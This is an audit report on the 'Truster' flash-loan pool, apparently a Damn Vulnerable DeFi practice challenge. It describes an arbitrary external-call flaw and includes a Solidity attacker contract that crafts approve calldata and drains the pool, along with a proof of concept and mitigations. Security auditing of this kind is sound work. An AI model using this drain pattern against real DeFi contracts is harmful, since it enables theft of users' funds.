Truster Audit Report

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Auditing Protocol: Truster

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1 Disclaimer

I, Ahmad Faraz, make every effort to understand the protocol and identify vulnerabilities within the given timeframe but holds no responsibility for missed issues. This audit is not an endorsement of the protocol's business logic or product and focuses solely on Solidity level vulnerabilities.

2 Risk Classification

2.1 Impact Table

Likelihood	Critical	\mathbf{High}	Medium	Low
Critical	Critical	Critical	High	Medium
High	Critical	High	High/Medium	Medium
Medium	High	High/Medium	Medium	Medium/Low
Low	Medium	Medium	Medium/Low	Low

3 Audit Details

3.1 Scope

The audit covered the following files:

- ./src/
- DamnValuableToken.sol
- TrustLenderPool.sol

4 Protocol Summary

TrustLenderPool protocol is offering flash loans. In this case, pool has launched offering flash loans of DVT tokens for free. The pool holds 1 million DVT tokens.

4.1 Roles

• TrusterLenderPool: Provides flash loans of DVT tokens.

5 Executive Summary

The Truster smart contracts protocol audited by Ahmad Faraz. The audit identified 1 issue in total, classified as follows.

Severity Level	Issue Count	
Critical	1	
Total	1	

6 Findings

6.1 Critical Severity

6.1.1 [C-1] Arbitrary External Call Injection TrusterLenderPool::flashLoan

• Description: The TrusterLenderPool protocol provides flash loans to anyone. A malicious user can exploit the target.functionCall(data) by passing a crafted calldata that invokes the approve function of the DVT token. This allows the attacker to approve themselves to spend all tokens held by the pool and subsequently drain the entire balance.

```
function flashLoan(uint256 amount, address borrower, address target
      , bytes calldata data) external nonReentrant returns (bool) {
           uint256 balanceBefore = token.balanceOf(address(this));
3
           token.transfer(borrower, amount);
  @>
           target.functionCall(data);
6
           if (token.balanceOf(address(this)) < balanceBefore) {</pre>
               revert RepayFailed();
10
11
           return true;
12
       }
13
```

• Impact: All funds held by TrustLenderPool are lost.

Attacker Contract:

```
{DamnValuableToken} from "../src/DamnValuableToken.sol";
  contract Target {
3
       DamnValuableToken public token;
       TrusterLenderPool public pool;
       address public attacker;
       constructor( DamnValuableToken _token, TrusterLenderPool _pool,
            address _attacker
       ) {
10
           token = _token;
11
           pool = _pool;
12
           attacker = _attacker;
13
14
15
       function attack() external {
16
        // 1 million DVTs
17
        uint256 poolBalance = token.balanceOf(address(pool));
18
19
         pool.flashLoan(
20
21
         address(this),
22
         address(token),
23
  @>
         abi.encodeWithSelector(token.approve.selector,address(this),
      poolBalance)
           );
25
```

```
// Drain the funds
token.transferFrom(address(pool), attacker, poolBalance);
}

}
```

- Cause: A malicious user takes advantage of the external call and crafts calldata that, under the hood, approves all the tokens held by the TrusterLenderPool.
- Recommended Mitigation: Restrict which contract addresses and function selectors can be called via the target.functionCall(data) pattern. Avoid allowing arbitrary low-level external calls based on user input. Consider removing this flexibility entirely if not strictly necessary.

• Proof of Concept:

- 1. Attacker passes malicious calldata.
- 2. The calldata contains the approve selector, granting the attacker permission to spend all of the pool's tokens.
- 3. Calls the flashLoan function with amount = 0 to bypass the repayment check..
- 4. Executes transferFrom to drain all tokens from the pool.
- 5. Pool loses all funds.

Run the code in TrusterLenderPool.t.sol: